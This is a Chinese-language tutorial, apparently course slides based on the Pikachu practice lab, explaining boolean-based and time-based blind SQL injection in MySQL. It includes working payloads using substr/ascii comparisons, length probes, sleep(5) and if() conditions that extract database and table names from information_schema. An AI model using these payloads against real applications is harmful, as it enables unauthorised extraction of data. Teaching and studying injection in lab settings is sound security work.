SQL注入漏洞

base on pikachu 

Sql-Inject漏洞-盲注

- 什么是盲注以及常见的盲注类型
- 基于boolean(true or false)的盲注测试
- 基于time的盲注测试

什么是盲注

在有些情况下，后台使用了错误消息屏蔽方法（比如@）屏蔽了报错
此时无法在根据报错信息来进行注入的判断。

这种情况下的注入，称为“盲注”

根据表现形式的不同，盲注又分为**based boolean**和**based time**两种类型

什么是盲注-based boolean

基于boolean的盲注主要表现症状：

0.没有报错信息

1.不管是正确的输入，还是错误的输入，都只显示两种情况 (我们可以认为是0或者1)

2.在正确的输入下，输入and 1=1/and 1=2发现可以判断

什么是盲注-based Boolean-手动测试

先通过mysql演示一个知识：

```
Select database(); //得到数据库名称
Select substr(database(),1,1);//使用substr函数截取结果中的值，从第一个字符开始，截取1个字符。
Select ascii(substr(database(),1,1)); 将截取出来的字符，转换成acsii码，以便于后面做运算。
Select ascii(substr(database(),1,1))>97; //结果会为1或者0，也就是true or false
```

想到什么了吗？

什么是盲注-based Boolean-手动测试

上面的知识要引申出来的一个逻辑是：

既然在盲注情况下，从页面上只能判断1，0的情况，那么我们可以对databae()的结果截取一个字符，转换成ascii后进行运算，根据true或false的结果确认截取的这个字符的ASCII码，然后在将这个ascii码转换成字符，从而得到database()里面的第一个值。
依次类推，得到所有结果。

这么说，好像盲注下，想要获取点岂不是灰常麻烦？是的。就是很麻烦。
所以，一般盲注，会使用工具（比如SQL-map, 我后面会讲到）去测试。

什么是盲注-based Boolean-手动测试

如何确认需要遍历的结果一共有多少个字符呢？

可以首先使用length()函数做一个确认：通过一个比较，搞出长度。

Id=1' and length((select database()))>x;

```
mysql> select length((select database()))>7;
+-----------------------------+
| length((select database()))>7 |
+-----------------------------+
|                           1 |
+-----------------------------+
1 row in set (0.00 sec)

mysql> select length((select database()))>8;
+-----------------------------+
| length((select database()))>8 |
+-----------------------------+
|                           0 |
+-----------------------------+
1 row in set (0.00 sec)
```

什么是盲注-based Boolean-手动测试

Test Payload:

```
kobe' and ascii(substr(database(),1,1))>97#
```

输出: 用户不存在

```
kobe' and ascii(substr(database(),1,1))=97#
```

输出: kobe的信息

因此，可以判断database()的第一个字符为a！

什么是盲注-based Boolean-手动测试

获取表信息的Test Payload:

```
ascii(substr(
(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
)>100#
```

获取其他信息的思路一样，这里就留个大家下去自己测试了！

什么是盲注-based time

如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了！

但还有一个条件，就是“时间”，通过特定的输入，判断后台执行的时间，从而确认注入！

常用的Teat Payload:
kobe' and sleep(5)#

看看输入：kobe 和输入kobe ‘ and sleep(5)#的区别，从而判断这里存在based time的SQL注入漏洞

什么是盲注-based time-手动测试

mysql中if的用法：
if（条件，true返回，false返回）

获取基础信息test payload：

kobe' and if ((substr((select database()),1,1))='a',sleep(5),null)#

思路解释：

通过substr对database()的结果截取第一位，然后判断是否等于X，如果等于则为真，然后执行sleep(5),如果不等于则为假，则null, 然后通过sleep的现象来确认，依次类推，遍历出所有的值。

当然基于time的盲注要手动测试获取结果，也是很麻烦的，所以大家只需要搞清楚原理。
具体的使用SQL-map跑就可以。

什么是盲注-based time-手动测试

获取表信息test payload：

```
kobe' and if(
substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)='e',sleep(5),null
)#
```


web安全从入门到放弃

谢 谢

“听”而不思则罔，思而不“练”则殆